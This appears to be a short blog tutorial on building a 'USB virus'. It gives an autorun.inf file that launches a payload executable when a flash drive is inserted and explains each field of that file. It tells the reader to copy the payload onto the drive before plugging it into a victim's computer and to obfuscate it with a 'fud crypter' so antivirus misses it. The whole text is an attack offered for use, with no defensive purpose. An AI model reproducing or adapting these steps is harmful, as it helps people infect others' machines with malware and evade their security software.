Today am going to show you a very easy technique to make a usb virus.Its quite simple.
Plug in your usb,open the usb drive from computer.Right click on it and then goto New =>Text document.Save it as autorun.inf.And then this file opens in a notepad,open it and type in
[autorun]
open  = yourserver.exe
action= theaction
label  = indiantechnogeek
icon   = youricon.ico

and save the file.
To mention what these commands do
[autorun]-this command starts as soon as autorun is hit when the flash drive is inserted.
open- The file mentioned here is opened
action- Action is what we display on the autorun menu.Well you can name it anything.
label-Label is the name of the flash drive
icon- This will change the icon of the flash drive.

Well note that the server.exe and the icon.ico files need to be copied to the flash drive before plugging into the victims computer.And the server need to be crypted with a fud crypter so that antivirus doesnt detect it.
So,here you go.You have your usb virus ready.